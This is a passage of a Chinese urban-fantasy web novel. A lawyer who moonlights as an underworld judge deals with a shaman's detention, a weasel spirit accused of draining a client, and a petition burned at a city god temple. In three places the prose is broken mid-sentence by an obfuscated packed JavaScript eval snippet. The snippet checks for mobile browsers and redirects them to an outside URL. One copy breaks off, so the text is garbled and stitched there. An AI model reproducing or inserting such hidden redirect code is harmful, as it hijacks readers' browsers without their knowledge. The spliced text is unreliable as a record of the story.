又从纪项兰话中总结出重点:“所以找你的客户其实都是心里有些焦虑不安,疑神疑鬼,经过你的点拨后,他们的心情多少会稳定下来是吗?” 纪项兰感觉自己隐隐明白了啥,试探性地问道:“律师,我这算传播封建迷信吗?不能坐牢吧?那警察不信,我又不能当场展现一下,万一展现完后被什么科学家抓去切片了怎么搞?” 寥寥数语,足以展现纪项兰虽然从事的是传统文化,但对俨然对国外的电影也看了不少,都给学杂了。 殷垣沉吟几秒钟后,“你知道封建迷信和传统国学的区别是什么吗?如果你相信你所信仰的仙家,这只能是一种宗教行为。宗教在大体上属于不支持也不反对的国情,而且没人闲着会解剖你。你没拉别人一起信吧?” 殷垣又怕他再搞出来个非法传教来。 “那没有,这事强求不来。” “那还好。”殷垣提点他:“问题不大,等警察做笔录的时候,你如实说就行。你通过自己的信仰来开导别人,一没传教,二不害人,三也不利用它谋取暴利,最多是属于无证的心理咨询,交点罚金就能出来了。如实说,不是让你夸张强调仙家的厉害,厉不厉害你自己心里清楚,警察感受不到,懂了吗?” 很多时候其实案子情况不复杂,但有的人被逮捕后心理慌张,什么都乱说一气,有的不重要的事情被反复强调很容易误导警察对案件的观感。 如果是刑事命案级别的,警察会再三验证,但如果只是小案子,警察压根没这个耐心和工夫去深究。只要证据完整,笔录没问题,就直接移送到了检察院。 纪项兰恍然大悟:“行,我明白了。不过那啥,我其实有心理咨询证。大学正经学心理学四年呢。” “……” 殷垣记录的动作一顿,神情复杂看着他:“你学心理的……那真是太好了。” 他又继续道:“至于你袭警的事,所幸没有人员受伤。我和单先生已经在争取对方谅解了,你在做笔录的时候照常说就好。” 纪项兰袭警虽然不是自己故意为之,但总归也是他请的白老太太上身,才惊扰她老人家袭警。一听这话,便忙不迭点头应下,“好的好的,这我都明白,只要能早点让我出去就行,这里面的日子简直不是人过的。” 他哭丧着脸,仿佛在里面受到了天大委屈。 殷垣奇怪道:“这边的环境还不错,饭菜也可以。不至于这么难熬吧?” 纪项兰诧异:“你怎么会知道?你也进来过?” “......” 殷垣:“我没进去过,我的委托人进去不少。” 纪项兰讪讪一笑,“这样啊。” “里面有人霸凌你?”殷垣想到其他可能性。 拘留所跟监狱不一样,没判刑前,压根不会分什么重刑轻刑,全部一股脑抓进去待在一起。有的犯了大事的人经常搞小团体霸凌新来的。 虽然现在监控设施完善,这种情况会好很多,但也不是完全没有。 想到早上的事,纪项兰忍不住骂起来:“MD,里面有个变态,大晚上不睡觉一直盯着我瞧。今天早上还想摸我,靠,老子是铁直男!” 殷垣秒懂,虽然纪项兰年近四十岁,满脸胡茬,有这一身剽悍的腱子肉,看起来不像是能被人盯上的样子,但架不住有的人喜好就是这么特别。 他从业多年,什么类型的人都见过点,倒也不太惊讶,十分不走心地安慰道:“你暂且忍忍,我一会去跟警察说说,让他注意点。” 纪项兰被拷着的双手握住栏杆,几乎把脸都贴了上来,再三殷切叮嘱:“你快点啊,我等你——” * 单易听说能去交保释金接人的时候猛地从床上跳了起来,惊喜道:“真的啊,现在就能把人放出来了?” 殷垣在那头应了声。 单易喜不自胜,忙穿好衣服,下楼开车。外面的雨下得雾濛濛一片,雨幕中树木飘摇,路上行人都没几个人。 虽然天气不好,但他心情非常不错,单易一路哼着歌前往,幻想着身体恢复正常后,他要去海滩度假完。 阳光、沙滩、美人! 美好的未来就在前方! 他忍不住回想刚才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15667902|173007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打电话的这位殷律师,肤白貌美大长腿,简直是是长在了他的每一个审美点上,要是能邀请他一起去旅游,让他立刻死了都成。 单易勾着笑,打方向盘拐弯。 突然一道黑影从雨中窜出,撞在车前。 “嘭”一声巨响,霎时拉回他所有注意力。 单易情急下,方向盘打滑,一股脑撞上了路边栏杆。来不及多想,他推开车门下去查看,车前保险杠已然深凹进去一大块,路边栏杆也被撞歪的一片。 但这不是关键,单易战战兢兢围着车看了一圈,又冒着雨跑到路上张望,却什么都没看见。 别说人了,连根毛都没有。 可是他明明看见有东西就是被撞了上来。 几秒不到,他一身的衣服全然湿透,整个人淋成了落汤鸡,外套下的皮肤越来越烫,烧灼的痛意很快传遍四肢百骸。 周围有路人注意到这场事故,驻足远远望来。单易凭空打了个冷战,他怎么忘了,黄大仙可还没放过他呢。 难不成给他这教训还不够,黄大仙想让他死? 单易跌跌撞撞上了车,顾不得一身雨水会把车内的真皮座椅弄脏,翻出手机给殷垣打了个电话,“殷律师,我这里出了意外。” 殷垣的声音不知为何有些模糊,带着电流滋滋声,关切问道:“你怎么了?” “我、我出了车祸,就在去警察局的路上。我感觉是黄大仙搞得,他想要我的命啊!”单易抽了几张纸巾,哆嗦着手擦自己脸上的水。 外面的雨实在大,将他头发完全浸湿了。一滴一滴接连不断地淌下来,单易怎么擦都擦不干净。 电话的声音还在继续,殷垣问道:“那你现在怎么样了?” “我还好,我没受伤。”单易咽了咽口水,看向车窗前方,雨刷器还在工作,发出沙沙声,“我现在得给交警打个电话,大师那边......您处理好了,带他来找我行吗?” 殷垣笑了一声,“那你恐怕见不到大师了。” “什么意思?”单易以为又发生了意外,纪项兰今天出不来,却又隐隐感觉不大对。 突然,他看见自己的半张脸,模模糊糊映在车窗上,有个什么东西正在他头上耷着。 电话里殷垣的声音陡然尖锐,像是指甲划过玻璃发出刺耳的噪音,语气阴狠又怨毒:“你见不到大师了,今天就是你的死期,你等着吧——” “哈哈哈哈哈哈哈哈哈哈——” “今天就是你的死期——” “今天就是你的死期——” “今天就是你的死期——” 这声音逐渐急促、跟外面飘落的雨一样的鼓点,字字响彻车内。 一股森寒的冷意从尾椎一路抵达头皮,单易整个个人僵在原地,不敢回头,更不敢发出声音。 手机从手上滑落,直接黑了屏。 一滴水啪嗒落到他后颈上,湿腻腻地滑进衣服里。 毛茸茸的手掌从座椅后抱住单易的脖子,在他耳边阴恻恻道:“我找到你了。” 15. 第 15 章 殷垣在拘留所门前等了单易许久,左右一直等不到人,又眼看这雨势愈发猛烈起来,霹雳啪嗒砸得车窗作响,以为是单易因为天气不想来了,便载着刚放出来的纪项兰离开。 外面雨声哗啦啦,车内却是十分静谧。 纪项兰拿着一直在通话中的手机,皱眉道:“不对啊,单先生这么着急,今天怎么会不来找我?他那一身的伤多一天就要疼上几分。殷律师,你知道单先生在哪吗?” “我姓单吗?”殷垣淡淡地反问。 “你不是姓殷吗?”纪项兰茫然,难不成他记错了姓? “我又不是他爸,你问我做什么。” 纪项兰被他噎了好一会,才尴尬道:“您可真会开玩笑,哈哈哈。不过单先生不像是会失约的人,有什么事比他的命还重要。” 殷垣不再说话,他的工作范围只是把人搞出来,多余的事情和他无关,他也懒得多问。 副驾驶位上的纪项兰自言自语一会,忽地瞥见被大雨不停冲刷的窗外闪过一只避雨的流浪猫,福至心灵间,他瞬间有所感应似的当场沉下脸来,“不对,这附近有大仙儿。” 殷垣对他的没来由的话感到莫名奇妙:“什么?” 他注意着观察车况,没分出心神去看纪项兰,还以为这人没事了,哪知只安静了一会,纪项兰突然发出一道沉闷沙哑的女声:“前面有黄皮子的味道。” 白老太太? 殷垣微微侧目,纪项兰的脸倒是正常,只是眼睛变成了全黑色,目不转睛地看向车前方,明明是在和司机说话,却宁死不肯往旁边瞥上一眼。 白老太太耸了耸鼻子,皱眉道:“下这么大雨天气还出来,准没好事,看来那黄皮子又要害人了。” 这车的封闭性属于顶配那级别的,光看外面大雨滂沱,车里一点声音都听不到便可见一斑,这老太太居然还能闻到味,殷垣不由惊诧道:“您不是刺猬吗?这鼻子比狗都灵。” “......” 白老太太几百年来第一次遇上个拿她跟狗对比的人,十分想瞪他,但是又不想跟人面对面看一块了,只能忍着怒火瓮声瓮气道:“你懂什么!老身可是白仙!” 殷垣尊老爱幼,十分礼貌地不和她辩解。 白老太太见他没有停车的打算,不禁道:“你这人,都说了有黄皮子害人,怎么还不过去帮忙!” “你手上的东西叫砖头?” 白老太太低头看了眼手中的手机:“……” “人间的警察有什么用,你不是判官吗?”白老太太恨铁不成钢,“这事该你们地府管。” 殷垣淡淡道:“拒绝职业道德绑架,我晚上才去城隍庙上班,现在我是律师。要我帮忙也行,我按小时收费。” “……” 白老太太试图转变他冷血的观念:“食君之禄,忠君之事,你不能这么想。” “我是免费劳动力,地府不给我钱。”殷垣平静回答她。 “……” 白老太太还想再劝劝,这时鼻子认真嗅了嗅,才发觉就在说话间,那道黄皮子的骚臭味已然消失不见,应该是已经跑路了,总算放下心来,“不用你管了,那黄皮子已经跑了。” 殷垣:“哦。” ... 纪项兰晕晕乎乎回了家,在拘留所蹲了两天后再看见熟悉的家,不禁倍感亲切,发誓要好好做人,不要再回到那个鬼地方。 这边还没躺几个小时,就接到了单易打来的电话,对方躺在医院病床上,带着哭腔求救:“大师,你快来救救我,我要死了——” 病床上的单易脸色惨白,眼睛发直望向虚空,脸上的神情如同一个将死之人般毫无精气神,脖子上还残留着一道被动物抓挠出来的新鲜血痕。 纪项兰赶到医院时就看见了这幕,现在的单易只能说勉强维持一个人形,皮包着骨头,俨然命不久矣的模样。 他刚跨进病房便被深深震撼到了,心中的大石头沉了又沉,简直难以相信自己看见的情景,一个好好的大活人,两天没见居然憔悴到了这种程度! 犹记单易找他帮忙时,虽说身上伤口骇人,但脸色瞧着却还算好,眼睛清明有神采,哪像现在,说是个活死人都不为过。 怪不得张口就喊救命。 纪项兰觉得自己再拖一段时间,单易真的能直接进入鬼门关。 “单先生......你发生什么事了?”纪项兰二话没说,上来抓住单易的手腕开始把脉。 脉搏虚浮无力,再看单易的唇色,灰白发青,眉宇间浮着一层暮气,是典型被人吸了精气的样子。 “我被黄大仙报复了。”单易闷咳两声,几乎全身的骨头都要随着咳嗽散了架,艰难地说道:“我今天在开车的路上,撞上了黄大仙。他想要杀我——他说了我活不过今天!” “大师,你救救我——我还年轻。”单易死死握住纪项兰的手,努力瞪大眼睛,“我还年轻,我不想死!” 纪项兰拧了拧眉心,“黄仙最是记仇,但也不至于上来就要命......你还做了什么事?” 单易含着热泪:“我什么都没做,我害怕还来不及,怎么可能主动招惹它!” “那就怪了。”纪项兰摇了摇头,“不过当务之急还是先留下你的命再说。” 他转身关了门又拉了窗帘,站回单易床前,垂眼看着他。 单易不明所以地回视。片刻后,纪项兰突然伸出手捏着他手腕。 单易浑身发虚,冷汗一阵又一阵地流,此刻手心更是湿滑得能拧出水来。他被纪项兰拉手,又许久不见对方说话,忍不住紧张地冷汗加速往外冒。 舔了舔干涩的唇,他正要问。 纪项兰的手突然变了触感,阴冷的气沿着骨头缝往身体里钻。 单易下意识低头去看,发现纪项兰的手背上凭空多出一只惨白的手。 这手和人类的完全不同,长满了灰色的长毛,指甲又尖又长,就这么虚虚盖在纪项兰手背上。 一股说不出的感觉逐渐充盈整个身体。 单易屏气凝神,感受着自己亏损到极致的身体中慢慢恢复了点血气。 简直太神奇了,如果不是亲身感受,他这辈子做梦都不敢想象。 “黄仙寻仇,命不久矣。”嘶哑的女声道出判言。 白老太太给单易治疗只持续了十几分钟,便离开了纪项兰身边。 纪项兰浑身一颤,回了神。长时间的被附身让他也有点吃不消,晃了晃身体,转身找张椅子坐下来。 单易感觉到自己身体好了一些,不由期待问道:“那我这已经好了吗?” “没有。”纪项兰叹气,“黄大仙下了死手,我供的这位白仙她老人家也搞不定。” “啊?!!”单易欲哭无泪,撑着身体去抓纪项兰的袖子,“您可一定要救救我,无论花多少钱都行!” “不是钱的事......”纪项兰捂着眼睛叹气,“这事真的很难办。我家老太太有三百多年的岁数还搞不定,现在见到的出马仙能有几个比的上我家这位,她都说了不行,那真的是不行了。” 单易好不容易升起来的信心顿时又沉入谷底,脸色青灰一片,喃喃道:“我难道真的躲不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15667903|173007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去了......” “......” 纪项兰眼睛转了几圈,迟疑道:“也有个办法,就是不太好办。你可知都城隍庙?” 单易点点头。 “都城隍庙的城隍多为有名册的正神,司掌人间除了人外所有鬼怪一事。无论鬼还是妖,都能管上一管,要是城隍老爷肯出手,你这事说不定有得救。只是......他老人家事务繁忙,不一定管你。”纪项兰触及单易可怜兮兮的眼神,叹气道:“算了,我这次能尽快出来也多亏你找的律师。就当我还人情了,这件事,我帮你办上一办。” 纪项兰将单易留在病房,自己出门去准备到城隍告状的东西。 和现在的告状类似,需要写起诉状,这起诉状换至阴间就是表文。纪项兰还是第一次写告状的表文,因此字字斟酌,拢共几百字被他写了大半天。等好不容易吹干墨迹后,外面天都黑了。 入夜后,骤雨初歇,正好方便他出门。 他在都城隍庙前将表文烧了个干净,忐忑不安地等着。 ... 今晚白无常去照例勾魂去了,殷垣在大殿里看白素素做题。 阴间考公也是要经过正儿八经的选拔,白素素要当正式工自然不能跟殷垣一样,随便记个名连培训都没有就能来上任。 白素素支着下巴,愁眉苦脸,“md,我这辈子都没这么认真过。我当初要是这个学习劲头,国内顶尖名校不都被我随便挑了。” 殷垣:“那你别考了?” 白素素扭头正色道:“那不行,我还等着趁那个死男人枪毙前上岸呢,到时候我亲自送他上路!” 殷垣对她的远大抱负表示口头上的支持,“嗯,你加油!” 白素素低头再看书上密密麻麻的字,头疼道:“靠!怎么地府考公还得背行测啊!” 外面有鬼吏捏着一张黄表纸小步跑进来,乍一听见白素素这话,没忍住插了句嘴:“还不是上面的大人要求的,说要跟上人间的发展,我们就要学习现在人间的知识。” 白素素抽了抽嘴,很想说自己接受了十几年的现代教育已经不需要了。 鬼吏已经扭过头把黄表纸呈给殷垣:“老爷,有人烧表文来告状,您看看要不要把他赶走?” “......” 殷垣觉得这思想教育还得加强,鬼吏上次抄了一万遍“清正廉明”是不收贿赂了,就是这种懒政怠政的心理还是没改掉。 不过,他第一次见有人这么告状,心里还挺好奇,接过表纸认真看了看。 半晌,他沉吟道:“这表文的格式......怎么有点熟悉。” 看着和他写的起诉书挺像的。 而且,这事情怎么也有点熟悉的感觉。 最近四九城的黄大仙有什么团建活动吗? 殷垣心说来都来了,也没拒人门外的道理,便让鬼吏把人带进来。 ... 纪项兰万万没想到,自己第一次来告状就如此顺利。 他没跟阴差打过交道,但是对他们的风评却早有耳闻,因此在鬼吏带着他往城隍庙里走的时候,在转弯处悄悄拉住他的衣角,小声说道:“这位大人,我带了点东西孝敬您,您收好。” 他以迅雷不及掩耳的速度往鬼吏袖里塞了一沓钱。 然后...... 鬼吏愣了一秒,当即一跳两米高,气得把钱摔倒地上,怒不可遏地大喊:“谁要你钱了,你这是在侮辱我的鬼格!” 纪项兰:“......” 啥情况,现在地府阴差怎么变了? 16. 第 16 章 纪项兰经历一场不大不小的风波后,再也不敢随便开口了。后半段的路一直嘀咕着传闻果然不可信,人家阴差作风好着呢,不拿百姓一针一线。 都说人不可貌相,这鬼也不能光看表面。谁能想到这个阴差一口森森白牙,面容可怖,实际上是个这么有贞操的鬼。 他怀着无比感慨的心情踏进判官殿。 鬼吏适时说道:“城隍老爷在泰山开会,现如今城隍庙只有判官老爷坐镇,你跟他讲也是一样的。” 纪项兰:“判官不应该在阎罗殿吗?” 鬼差其实也不清楚,白无常带人来的时候说话神神秘秘,不肯说清楚这大人的来历。 但在活人面前,他拿出一副“真没见识”的表情,肯定道:“这相当于下基层实践,你懂不懂啊!” 要说地府体系那真是公说公有理,婆说婆有理,道家佛家各有一套完整体系,似乎以谁为主都不好。 但有一点是公认的,那就是十阎罗殿绝对是阴间妥妥的中心,相当于人间的中央机构。 而都城隍庙就类似人间地方的政府机构,是面对广大群众的基层组织。 这么一类比,纪项兰瞬间听懂了,颇受震撼,“我嘞个乖乖,地府已经这么先进了吗?” 鬼差睨了他一眼,说道:“这才哪到哪,我们新来的这位大人可是立志建设法治地府的。” “……” 纪项兰实在不知道该说什么,这真是他刻板印象了。 跟着鬼差走进内殿,光线突然明亮起来,映着灯笼的烛光,他远远瞧见个穿红袍的男鬼支着头看书,旁边还有个奋笔勤书的女鬼。 妈呀,现在的鬼已经这么卷了! 纪项兰暗自咋舌,视线在一摞厚厚的书上掠过,最终又回到主位上的红袍男鬼身上。 虽然看不见脸,但光看身形就能感觉到这鬼生前应该年纪不大,看起来也就三十左右。 死得这么早,还有这么大功德能做到判官,这得多厉害啊! 一旁的鬼差唤了声:“老爷,人已经带过来了。” 红袍男鬼听见声音后才动了动,冲鬼差挥挥手,让他下去,接着抬起头。 纪项兰见状先拜了个大礼,“见过判官老爷。” 殷垣从假寐中醒来,看清这人后:“……” 怎么会是他? 纪项兰弯着的腰有点发酸,悄咪咪直起身往上面看了眼,表情瞬间空白。 “……” 这判官老爷怎么长得这么眼熟? 两人隔着虚空四目相对,谁也没开口。 殷垣不禁有些头疼,这算掉马了吧? 像白素素这种已经死了的鬼,他不怕暴露。 但是像纪项兰这种大活人……怎么保守秘密倒是个大问题了。 殷垣的眼睛在纪项兰的脖子和太阳穴上转了转,最终打消了杀人灭口的念头。 算了,知法犯法判的更重。 暖黄色的烛光下,殷垣的脸庞泛出一种奇异又莹润的光,眉峰没入阴影中,目若点漆,恍惚让人有种真见到古人的感觉。 但是,纪项兰耳畔一直回响着殷垣之前义正言辞的那句“我相信科学”。 纪项兰的表情白了又青,青了又紫,跟调色盘一样变来变去,半晌才带着被欺骗的幽怨,哼出一句话:“您怎么还有副业呢。” 殷垣全当看不见他眼底的控诉,淡淡道:“有事说事。” 纪项兰:“......” 眼下这情况,省略掉介绍单易被黄大仙报复的种种前因后果,纪项兰告状的话更流利,直言道:“单先生被黄仙报复,现在已经命悬一线。希望地府能派阴差把黄仙缉拿归案,让他放过单先生。单先生再有过错也是无心之失,不至于到了偿命这一步。黄仙这种举动实在太过狠毒。” 殷垣还不知道单易发生的事,闻话问道:“连你身上的白老太太也救不回来?” 纪项兰摇头,“难。”顿了顿,他惊道:“您怎么知道我供着白仙?” “单易说的。”殷垣道:“你确定是黄仙寻仇?” 纪项兰十分肯定地点头。 从前天逮到的那只黄仙溜走后,殷垣还没来得及把他抓回来,哪知这黄仙又犯了事,这下是必须即刻就去找了。 跟纪项兰嘱咐两句别把他的身份胡乱说出去后,殷垣拎着还没还给鬼吏的锁链往外面飘去。 白素素抽空从书里抬起头,看着手足无措的纪项兰说道:“你也是他的当事人吧。” 这个“也”字就很灵性。 纪项兰唇角抽动,“你也是生魂离体?” “嗐,我不是,我死了。”白素素还穿着她死时穿的衣服,伸了个懒腰道:“他以前也是我的律师,你别看他这人长得好看又话少,但是能力可以的。” 纪项兰真不想这么八卦,但他是真没忍住,“所以,你找他办的是什么案子?” “唔......一开始是离婚案,后来变成了故意杀人。” “啊?”案子跨度这么大? 白素素补充道:“因为婚变,我是被害人。” “......”纪项兰干笑两声,“那你、那你还挺励志哈。到这还看书。” 白素素:“是啊,我倒是想自己报仇,可殷律师不让。那只好退而求其次,我要亲自送前夫上路。” 她眼睛一眨,感兴趣道:“你是什么案子?” “我没你严重,我做出马仙被人举报宣传封建迷信进去了。”纪项兰说着有点担心,“也不知道他能不能在天亮前把黄仙带回来。” ... 白无常正蹲在城隍庙门口咧着嘴角数钱,似有所感,蓦然回头跟殷垣撞个正着。 他疾速把钱往袖子里一揣,若无其事道:“怎、怎么了?” 殷垣:“......我要去找黄仙,你知道在哪能找到他吗?” 白无常:“地府的生死簿只记录人和普通牲畜,这种有了灵智得到的仙家不是我们能轻易找到的,你找他做什么?” “我有个当事人,因为打搅了黄仙的讨封,被他一直报复,现在已经性命垂危。” “啧啧,他也是敢。黄仙是仙家里最记仇的那个,还是讨封这种大事,难怪会被寻仇。”白无常摊开手,冲殷垣一扬下巴,“这事也不是办不成,得看怎么办,是谁去办。” 殷垣视线扫过白无常的袖子,平静道:“我看见你点钱了。你拿着三沓元宝钱,现在地府发工资用的貌似都是打钱吧。” 所谓打钱,是目前历史最悠久且具有广泛认可度的冥币,靠在纸上木槌敲打铜铁的钱模,同时念打钱咒而得名,这是最通用的冥币类型,地府发工资都是这种钱。 元宝钱则是将金银纸贴在纸上,折成元宝状的冥币。通常都是生人祭祀烧给逝去的亲人或者给神仙当供品。 一看就是白无常不知道从哪敲诈得来的钱。他这举动当真是撞上了枪口。 “......”白无常扯了扯袖子盖住手,心虚道:“小事,我带你走一趟。” 说着,他忍不住道:“我和你说啊,也就是我消息灵通。你但凡换个鬼问,十个有九个都不知道。” 殷垣意会他的意思,淡声道:“下不为例。” ... 黄大仙被找到时,依旧在兢兢业业铲除小广告。这两天,在他不懈努力下,已经有三条街巷的电线杆焕然一新,白日里被路过的市民瞧见纷纷赞叹街 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“您也太能夸张了,我就是给他点小教训,怎么可能会致命!”黄大仙看了眼殷垣,“你们想要钱就直说,还找什么这样那样的借口,我虽然不是人,但是我活得坦坦荡荡,不能被污蔑!” “......” 殷垣和白无常对视一眼,将黄大仙捆了带回城隍庙。 一路上,黄大仙就差指天发誓、以头抢地,保证自己绝对没害过人,“我还要修行呢,我怎么可能去要人命!” 殷垣觉得他的反应不像是假的,但四九城难不成还有第二只黄仙? 纪项兰见到回来的殷垣,大喜过望,连忙起身迎接,期待问道:“怎么样?找到了吗?” 被捆的黄鼠狼被丢到地上,嘴里道“哎呦,你们轻点。” “找到了,我们现在就去救人。”纪项兰高兴道。 殷垣定定看着他,“你确定是找上单易的是黄仙?” 纪项兰:“绝对是,我家白仙都认证了是黄仙报仇!” “那就奇了。”殷垣低头看了眼地上的黄大仙,和他黑色的豆豆眼对视,“不是他,还能是谁?” 黄大仙大喊:“这天底下又不止我一只黄鼠狼,别把什么屎盆子都往我头上扣。我告诉你,我没害他!” 白无常用胳膊肘戳了戳殷垣,“好像真的不是他干的。黄皮子没这么高智商演戏。” “......不是吧。”听到他话的纪项兰喃喃,“单先生今天真的要完了?” “也不一定。”殷垣问道:“黄仙对单易做了什么?” “他的精气几乎全被吸走了。” “这不正好有现成的。”殷垣弯腰给黄大仙解开锁链,戳了戳他的皮毛,“我记得你也吸过单易精气吧?” 黄大仙垂死挣扎:“我就吸了那一点。” “一点也是吸。”殷垣似笑非笑,“或者第二个选择,我送你去阎罗殿走一遭。听说阎罗殿进去就别想出来了,你这几百年的修行算是全部交代在这了吧。” “......” 看着殷垣那张俊秀的脸,黄大仙真想直接骂出来,你们地府的鬼从上到下没一个好东西! 威胁鬼怪这么流利,生前都是□□吧! 17. 第 17 章 四九城出现第二个黄仙还害了人的事被白无常重视起来,当即吩咐几个鬼吏见到仙家出没一定要打听清楚是哪个山头、哪个堂口出来的。 务必要抓住这个黄仙。 殷垣见他安置妥当,便也不再多管。等时间差不多了,就飘着回了魂。 一出门,居然又撞见了柏扶青。 他捧着一盆发了几排嫩绿小芽的盆栽走到殷垣家门前,正要敲门,刚好殷垣推门出来。 “好巧。”柏扶青在殷垣有些凌乱的衬衣领上扫了眼,眸中浮现几分微不可见的戏谑,“你今天起晚了?” 昨天大雨后,今天倒是个晴天。春光松松散散地透过门廊的窗户映在柏扶青侧脸,橙橘色的光影在他眼中浮跃,像在笑又带着点不着调的深情。 接二连三的偶遇,让见多了各种案子的殷垣忍不住疑心怎么会这么巧? 每次都能掐准自己出门时间来找自己,这人到底想做什么? 殷垣打量他的神色,问道:“有事吗?” “上次见你家没什么绿植,就给你带了盆盆栽。这个很好养活,十天半月浇一次水都没问题,完全不费精力。”柏扶青提前把拒绝的理由给殷垣堵上,下定决心让人收下。 他捧着盆栽,一股穿堂风自身后款款吹入,夹杂着几缕清淡的草木香。 殷垣在下风口,闻得清楚,垂落的胳膊忽地动了动。 柏扶青以为他要接,将盆栽递过去。却和殷垣的手擦过,愕然看着他理了理领口,客气道:“哦,我不需要,谢谢。” 殷垣从不觉得拒绝需要什么理由,不想要就是不要,哪用得着找什么借口。 他自以为说的够清楚了,于是朝柏扶青微微颔首,关上门离开这里。 柏扶青和他插肩而过,听见电梯门缓缓关上后,才幽幽叹了口气。 送上门的发财树都不要,有时候没钱真的要找找自己的原因。 …… 律所里多了个三四岁的小女孩。 柳裕的妻子这几天出差,家里照顾孩子的重担就全落到了柳裕身上。 他这几天都在忙一个大案子,不放心孩子一个人在家呆着,干脆就把人带到了律所,拜托律师助理多多注意一下。 小女孩年纪不大,性格安安静静的,自己找了个地方随便一呆就是一两个小时,基本上不麻烦人,律师助理长舒一口气。 孩子好带,他也能轻松不少。 殷垣进来时正好撞上律师助理给小女孩投喂零食,不咸不淡往小女孩身上瞥了一眼。 小女孩长得像极了缩小版的年轻柳裕,眉深眼阔,鼻梁挺直,一双杏眼更加出众,闪烁着的光芒跟会说话一样。 小女孩弯了弯眼睛,奶声奶气冲律师助理道:“谢谢哥哥。” 律师助理:“!!!” 这也太可爱了! 他的心都要被萌化了,柳主任那个龟毛男怎么能生出这么可爱的女儿的?!! 看见殷垣的身影时,他兴冲冲分享道:“殷律,这是老大家的孩子,叫团团。” 团团眨巴着眼睛和殷垣对视几秒,忽然瘪了瘪嘴,仰天大哭起来。 “啊啊啊啊啊啊……巴巴、爸爸……” 殷垣紧急收回跨出的半步,“她怎么了?” “……这,这我也不知道啊。”律师助理边哄边稀奇地想,不应该啊,殷律师这种脸上到八十,下到三四岁的女性,没有一个人不稀罕的。 毕竟“妇女之友”的外号就是这么来的。 团团哭红了眼睛,指着殷垣说道:“那个叔叔好可怕——” 柳裕闻声火急火燎冲出来,和律师助理一起听见了这话。 霎时间,两双眼睛齐齐朝殷垣看去。 柳裕:“……” 律师助理:“……” 柳裕没忍住,拍了拍女儿的背,捏着嗓子柔声问道:“团团乖,你说的是那个叔叔吗?” 团团哭到了打嗝,不停点头。 柳裕摸了摸自己的脸,稀奇道:“那你觉得爸爸好看吗?” 难不成自己女儿的审美天生异于常人? 团团看了眼柳裕,诚实地摇摇头。 柳裕:“……” 这孩子,怎么这么伤人。 他抱着团团进了办公室,过一会才出来。手里捏着张纸巾,疑惑问道:“刚才发生什么了?” 律师助理很茫然:“我也不知道。” 两人都看向殷垣,殷垣绷着脸,“看我做什么?我一直站在这里没动。” “嘶——”柳裕仔细端详他,敏锐地发现,“你今天怎么没穿白衬衣了?黑衬衣,黑外套,你穿这身自带杀气,难怪我女儿会被吓到。” 殷垣:“我确实挺想对你下手的。” 柳裕:“……” 殷垣看了眼虚掩着的门,“她没事吧?” “没事,小孩子忘性大,现在看动画片呢。”柳裕说着,手机电话又打了过来,立即结束闲聊继续去工作了。 殷垣问律师助理:“那个女孩多大了?” “三岁半吧,还没四岁呢。” 殷垣或许明白了小女孩怎么会见到自己就哭了出来,他天天晚上要去城隍庙上班,身上沾了不少鬼气。 小孩子的眼睛很灵,对这种东西异常敏感,感觉到危险被吓哭也正常。 他转身回了自己办公室,一上午没再出来和小女孩碰面。 ... 邱妍因为上午在学校上课耽误了时间,下午午饭时间刚过就背着包匆忙赶到律所。 想到实习前信誓旦旦地说绝对会每天按时出勤就有点心虚,特意在楼下买了杯半糖奶茶拎上来,呈到殷垣面前。 “殷律,有什么活需要我干吗?”邱妍问道。 殷垣将视线从电脑屏幕移到奶茶再落至邱妍的脸上,细而翘的眼角随着眉梢微微下压,似乎有些不悦。 邱妍以为是他生气了,更加心虚。 “你实习期有工资?” “……没。” “那你真是钱多到没处花了,还倒贴钱上班。”殷垣淡淡道,“我不喝奶茶,你拿走吧。” 邱妍:“那个,我上午没来是因为有课,不是故意的。” 殷垣好一会才“嗯”了声,盯着电脑上文件道:“请过假的事不用说第二遍。” 邱妍如蒙大赦,顿时松了口气。 业界里公认的法学生就是免费的实习牛马,不给工资还得遭受带教律师的PUA,邱妍很多学长学姐都被搞到心理崩溃而抑郁,导致邱妍一直对实习这种事望而生畏。 没想到,实际上还可以。 没有被骂过,也不用天天琢磨搞人际关系,毕竟有事殷垣全抗了,还能跟着带教律师积累办案经验。 更重要的是,上班还能养眼啊! 邱妍嘬了口奶茶,美滋滋地回到工位上。 殷垣把人打发走还没几分钟,放在桌面上的手机忽然震动起来。 是一个陌生号码,接通后对方语气凛然:“你是殷垣吗?这里是四九城东区分局,请你马上过来一趟。” “???” 殷垣确认了眼手机号归属地,心平气和地说道:“发生了什么事?” “你朋友损坏他人财物在警局,你现在过来交一下押金把人带走。嗯,他叫柏扶青,你认识吧。” 一个小时后 殷垣踏进东区分局的门,调解室里面争吵声不断,刺耳的女声穿透紧闭的门传到走廊上,外面连椅上的男人却翘着二郎腿,以一种优雅又闲适的姿态闭目养神。 不像是被抓进来,反倒是跟来参观一样。 默默盯了一会,殷垣走过去,踢了踢他的鞋子,没什么感情地说道:“醒醒。” 